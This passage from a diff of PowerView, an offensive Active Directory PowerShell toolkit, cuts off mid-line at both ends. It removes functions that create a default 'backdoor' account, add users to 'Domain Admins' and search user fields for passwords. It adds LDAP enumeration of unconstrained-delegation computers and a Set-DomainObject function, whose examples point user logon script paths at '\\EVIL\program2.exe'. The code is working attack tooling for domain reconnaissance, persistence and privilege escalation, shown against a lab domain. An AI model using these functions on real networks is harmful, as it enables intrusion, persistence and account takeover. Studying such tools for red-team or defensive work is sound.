'sensitive and not allowed for delegation' + [Switch] + $Printers, - .PARAMETER PageSize + [ValidateNotNullOrEmpty()] + [Alias('ServicePrincipalName')] + [String] + $SPN, - The PageSize to set for the LDAP searcher object. + [ValidateNotNullOrEmpty()] + [String] + $OperatingSystem, - .PARAMETER Credential + [ValidateNotNullOrEmpty()] + [String] + $ServicePack, - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. + [ValidateNotNullOrEmpty()] + [String] + $SiteName, - .EXAMPLE + [Switch] + $Ping, - PS C:\> Get-NetUser -Domain testing + [ValidateNotNullOrEmpty()] + [String] + $Domain, - .EXAMPLE + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, - PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local" -#> + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, - param( - [Parameter(Position=0, ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $UserName, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $Domain, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $DomainController, + $SearchScope = 'Subtree', - [String] - $ADSpath, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] - $Filter, + $SecurityMasks, [Switch] - $SPN, + $Tombstone, + [Alias('ReturnOne')] [Switch] - $AdminCount, + $FindOne, - [Switch] - $Unconstrained, + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, [Switch] - $AllowDelegation, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential + $Raw ) - begin { - # so this isn't repeated if users are passed on the pipeline - $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $CompSearcher = Get-DomainSearcher @SearcherArguments } - process { - if($UserSearcher) { + PROCESS { + if ($CompSearcher) { - # if we're checking for unconstrained delegation - if($Unconstrained) { - Write-Verbose "Checking for unconstrained delegation" - $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" - } - if($AllowDelegation) { - Write-Verbose "Checking for users who can be delegated" - # negation of "Accounts that are sensitive and not trusted for delegation" - $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))" + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_ + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance -match '.*\..*') { + $IdentityFilter += "(dnshostname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + if ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } } - if($AdminCount) { - Write-Verbose "Checking for adminCount=1" - $Filter += "(admincount=1)" + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" } - # check if we're using a username filter or not - if($UserName) { - # samAccountType=805306368 indicates user objects - $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)" + if ($PSBoundParameters['Unconstrained']) { + Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' } - elseif($SPN) { - $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)" + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' } - else { - # filter is something like "(samAccountName=*blah*)" if specified - $UserSearcher.filter="(&(samAccountType=805306368)$Filter)" + if ($PSBoundParameters['Printers']) { + Write-Verbose '[Get-DomainComputer] Searching for printers' + $Filter += '(objectCategory=printQueue)' + } + if ($PSBoundParameters['SPN']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" + $Filter += '(servicePrincipalName=$SPN)' + } + if ($PSBoundParameters['OperatingSystem']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" + $Filter += "(operatingsystem=$OperatingSystem)" + } + if ($PSBoundParameters['ServicePack']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" + $Filter += "(operatingsystemservicepack=$ServicePack)" + } + if ($PSBoundParameters['SiteName']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" + $Filter += "(serverreferencebl=$SiteName)" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" } - $Results = $UserSearcher.FindAll() + $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" + Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } + else { $Results = $CompSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - $User = Convert-LDAPProperty -Properties $_.Properties - $User.PSObject.TypeNames.Add('PowerView.User') - $User + $Up = $True + if ($PSBoundParameters['Ping']) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname + } + if ($Up) { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Computer = $_ + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') + } + else { + $Computer = Convert-LDAPProperty -Properties $_.Properties + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') + } + $Computer + } } - $Results.dispose() - $UserSearcher.dispose() + try { $Results.dispose() } catch {} + $CompSearcher.dispose() } } } -function Add-NetUser { +function Get-DomainObject { <# - .SYNOPSIS - - Adds a domain user or a local user to the current (or remote) machine, - if permissions allow, utilizing the WinNT service provider and - DirectoryServices.AccountManagement, respectively. - - The default behavior is to add a user to the local machine. - An optional group name to add the user to can be specified. - - .PARAMETER UserName - - The username to add. If not given, it defaults to 'backdoor' +.SYNOPSIS - .PARAMETER Password +Return all (or specified) domain objects in AD. - The password to set for the added user. If not given, it defaults to 'Password123!' +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName - .PARAMETER GroupName +.DESCRIPTION - Group to optionally add the user to. +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properies, use +"-Properties samaccountname,usnchanged,...". By default, all objects for +the current domain are returned. - .PARAMETER ComputerName +.PARAMETER Identity - Hostname to add the local user to, defaults to 'localhost' +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. - .PARAMETER Domain +.PARAMETER Domain - Specified domain to add the user to. +Specifies the domain to use for the query, defaults to the current domain. - .EXAMPLE +.PARAMETER LDAPFilter - PS C:\> Add-NetUser -UserName john -Password 'Password123!' - - Adds a localuser 'john' to the local machine with password of 'Password123!' +Specifies an LDAP query string that is used to filter Active Directory objects. - .EXAMPLE +.PARAMETER Properties - PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local - - Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group. +Specifies the properties of the output object to retrieve from the server. - .EXAMPLE +.PARAMETER SearchBase - PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain '' - - Adds the user "john" with password "password" to the current domain and adds - the user to the domain group "Domain Admins" +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .EXAMPLE +.PARAMETER Server - PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing' - - Adds the user "john" with password "password" to the 'testing' domain and adds - the user to the domain group "Domain Admins" +Specifies an Active Directory server (domain controller) to bind to. - .Link +.PARAMETER SearchScope - http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx -#> +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - [CmdletBinding()] - Param ( - [ValidateNotNullOrEmpty()] - [String] - $UserName = 'backdoor', +.PARAMETER ResultPageSize - [ValidateNotNullOrEmpty()] - [String] - $Password = 'Password123!', +Specifies the PageSize to set for the LDAP searcher object. - [ValidateNotNullOrEmpty()] - [String] - $GroupName, +.PARAMETER ServerTimeLimit - [ValidateNotNullOrEmpty()] - [Alias('HostName')] - [String] - $ComputerName = 'localhost', +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - [ValidateNotNullOrEmpty()] - [String] - $Domain - ) +.PARAMETER SecurityMasks - if ($Domain) { +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - $DomainObject = Get-NetDomain -Domain $Domain - if(-not $DomainObject) { - Write-Warning "Error in grabbing $Domain object" - return $Null - } +.PARAMETER Tombstone - # add the assembly we need - Add-Type -AssemblyName System.DirectoryServices.AccountManagement +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ - # get the domain context - $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject +.PARAMETER FindOne - # create the user object - $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context +Only return one result object. - # set user properties - $User.Name = $UserName - $User.SamAccountName = $UserName - $User.PasswordNotRequired = $False - $User.SetPassword($Password) - $User.Enabled = $True +.PARAMETER Credential - Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain" +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - try { - # commit the user - $User.Save() - "[*] User $UserName successfully created in domain $Domain" - } - catch { - Write-Warning '[!] User already exists!' - return - } - } - else { - - Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName" +.PARAMETER Raw - # if it's not a domain add, it's a local machine add - $ObjOu = [ADSI]"WinNT://$ComputerName" - $ObjUser = $ObjOu.Create('User', $UserName) - $ObjUser.SetPassword($Password) +Switch. Return raw results instead of translating the fields into a custom PSObject. - # commit the changes to the local machine - try { - $Null = $ObjUser.SetInfo() - "[*] User $UserName successfully created on host $ComputerName" - } - catch { - Write-Warning '[!] Account already exists!' - return - } - } +.EXAMPLE - # if a group is specified, invoke Add-NetGroupUser and return its value - if ($GroupName) { - # if we're adding the user to a domain - if ($Domain) { - Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain - "[*] User $UserName successfully added to group $GroupName in domain $Domain" - } - # otherwise, we're adding to a local group - else { - Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName - "[*] User $UserName successfully added to group $GroupName on host $ComputerName" - } - } -} +Get-DomainObject -Domain testlab.local +Return all objects for the testlab.local domain -function Add-NetGroupUser { -<# - .SYNOPSIS +.EXAMPLE - Adds a user to a domain group or a local group on the current (or remote) machine, - if permissions allow, utilizing the WinNT service provider and - DirectoryServices.AccountManagement, respectively. +'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname - .PARAMETER UserName +distinguishedname +----------------- +CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local +CN=dfm,CN=Users,DC=testlab,DC=local +OU=OU3,DC=testlab,DC=local +CN=dfm (admin),CN=Users,DC=testlab,DC=local - The domain username to query for. +.EXAMPLE - .PARAMETER GroupName +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObject -Credential $Cred -Identity 'windows1' - Group to add the user to. +.EXAMPLE - .PARAMETER ComputerName +Get-Domain | Select-Object -Expand name +testlab.local - Hostname to add the user to, defaults to localhost. +'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) - .PARAMETER Domain +distinguishedname +----------------- +CN=harmj0y,CN=Users,DC=testlab,DC=local +VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins))) +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local - Domain to add the user to. +.OUTPUTS - .EXAMPLE +PowerView.ADObject - PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators - - Adds a localuser "john" to the local group "Administrators" +Custom PSObject with translated AD object property fields. - .EXAMPLE +PowerView.ADObject.Raw - PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local - - Adds the existing user "john" to the domain group "Domain Admins" in "dev.local" +The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> + [OutputType('PowerView.ADObject')] + [OutputType('PowerView.ADObject.Raw')] [CmdletBinding()] - param( - [Parameter(Mandatory = $True)] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $UserName, + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, - [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $GroupName, + $SearchBase, [ValidateNotNullOrEmpty()] - [Alias('HostName')] + [Alias('DomainController')] [String] - $ComputerName, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $Domain - ) + $SearchScope = 'Subtree', - # add the assembly if we need it - Add-Type -AssemblyName System.DirectoryServices.AccountManagement + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - # if we're adding to a remote host's local group, use the WinNT provider - if($ComputerName -and ($ComputerName -ne "localhost")) { - try { - Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName" - ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user") - "[*] User $UserName successfully added to group $GroupName on $ComputerName" - } - catch { - Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName" - return - } + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $ObjectSearcher = Get-DomainSearcher @SearcherArguments } - # otherwise it's a local machine or domain add - else { - try { - if ($Domain) { - Write-Verbose "Adding user $UserName to $GroupName on domain $Domain" - $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain - $DomainObject = Get-NetDomain -Domain $Domain - if(-not $DomainObject) { - return $Null + PROCESS { + if ($ObjectSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_ + if ($IdentityInstance -match '.+\\.+') { + $ConvertedIdentityInstance = $IdentityInstance | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $ObjectName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$ObjectName)" + $SearcherArguments['Domain'] = $ObjectDomain + Write-Verbose "[Get-DomainUser] Extracted domain '$ObjectDomain' from '$IdentityInstance'" + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } + } + elseif ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU)=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + if ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + } + } } - # get the full principal context - $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject } - else { - # otherwise, get the local machine context - Write-Verbose "Adding user $UserName to $GroupName on localhost" - $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName) + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" } - # find the particular group - $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName) + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } - # add the particular user to the group - $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName) + if ($Filter -and $Filter -ne '') { + $ObjectSearcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)" - # commit the changes - $Group.Save() - } - catch { - Write-Warning "Error adding $UserName to $GroupName : $_" + if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } + else { $Results = $ObjectSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + } + $Object + } + try { $Results.dispose() } catch {} + $ObjectSearcher.dispose() } } } -function Get-UserProperty { +function Set-DomainObject { <# - .SYNOPSIS +.SYNOPSIS - Returns a list of all user object properties. If a property - name is specified, it returns all [user:property] values. +Modifies a gven property for a specified active directory object. - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject - .PARAMETER Properties +.DESCRIPTION - Property names to extract for users. +Splats user/object targeting parameters to Get-DomainObject, returning the raw +searchresult object. Retrieves the raw directoryentry for the object, and sets +any values from -Set @{}, XORs any values from -XOR @{}, and clears any values +from -Clear @(). - .PARAMETER Domain +.PARAMETER Identity - The domain to query for user properties, defaults to the current domain. +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. - .PARAMETER DomainController +.PARAMETER Set - Domain controller to reflect LDAP queries through. +Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values. - .PARAMETER PageSize +.PARAMETER XOR - The PageSize to set for the LDAP searcher object. +Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values. - .PARAMETER Credential +.PARAMETER Clear - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Specifies an array of object properties that will be cleared in the directory. - .EXAMPLE +.PARAMETER Domain - PS C:\> Get-UserProperty -Domain testing - - Returns all user properties for users in the 'testing' domain. +Specifies the domain to use for the query, defaults to the current domain. - .EXAMPLE +.PARAMETER LDAPFilter - PS C:\> Get-UserProperty -Properties ssn,lastlogon,location - - Returns all an array of user/ssn/lastlogin/location combinations - for users in the current domain. +Specifies an LDAP query string that is used to filter Active Directory objects. - .LINK - - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html -#> +.PARAMETER SearchBase - [CmdletBinding()] - param( - [String[]] - $Properties, +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - [String] - $Domain, - - [String] - $DomainController, +.PARAMETER Server - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, +Specifies an Active Directory server (domain controller) to bind to. - [Management.Automation.PSCredential] - $Credential - ) +.PARAMETER SearchScope - if($Properties) { - # extract out the set of all properties for each object - $Properties = ,"name" + $Properties - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties - } - else { - # extract out just the property names - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' - } -} +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). +.PARAMETER ResultPageSize -filter Find-UserField { -<# - .SYNOPSIS +Specifies the PageSize to set for the LDAP searcher object. - Searches user object fields for a given word (default *pass*). Default - field being searched is 'description'. +.PARAMETER ServerTimeLimit - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER SearchTerm +.PARAMETER Tombstone - Term to search for, default of "pass". +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER SearchField +.PARAMETER Credential - User field to search, default of "description". +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER ADSpath +.EXAMPLE - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose - .PARAMETER Domain +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser - Domain to search computer fields for, defaults to the current domain. +.EXAMPLE - .PARAMETER DomainController +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose - Domain controller to reflect LDAP queries through. +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: +(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y +VERBOSE: Setting countrycode to 1234 for object harmj0y +VERBOSE: Get-DomainSearcher search string: +LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser +VERBOSE: Setting countrycode to 1234 for object testuser - .PARAMETER PageSize +.EXAMPLE - The PageSize to set for the LDAP searcher object. +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose - .PARAMETER Credential +Cleares the 'department' field for both object identities. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.EXAMPLE - .EXAMPLE +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose - PS C:\> Find-UserField -SearchField info -SearchTerm backup +Name Value +---- ----- +NORMAL_ACCOUNT 512 - Find user accounts with "backup" in the "info" field. -#> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [String] - $SearchTerm = 'pass', +Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose - [String] - $SearchField = 'description', +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser' - [String] - $ADSpath, +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose - [String] - $Domain, +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 - [String] - $DomainController, +.EXAMPLE - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, +Get-DomainUser -Identity testuser -Properties scriptpath - [Management.Automation.PSCredential] - $Credential - ) - - Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField -} +scriptpath +---------- +\\primary\sysvol\blah.ps1 +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser' -filter Get-UserEvent { -<# - .SYNOPSIS +Get-DomainUser -Identity testuser -Properties scriptpath - Dump and parse security events relating to an account logon (ID 4624) - or a TGT request event (ID 4768). Intended to be used and tested on - Windows 2008 Domain Controllers. - Admin Reqd? YES +scriptpath +---------- +\\EVIL\program2.exe - Author: @sixdub +.OUTPUTS - .PARAMETER ComputerName +PowerView.ADObject - The computer to get events from. Default: Localhost +Custom PSObject with translated AD object property fields, if -PassThru is enabled. - .PARAMETER EventType +PowerView.ADObject.Raw - Either 'logon', 'tgt', or 'all'. Defaults: 'logon' +The raw DirectoryServices.SearchResult object, if -PassThru and -Raw are enabled. +#> - .PARAMETER DateStart + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ADObject')] + [OutputType('PowerView.ADObject.Raw')] + [CmdletBinding()] + Param( + 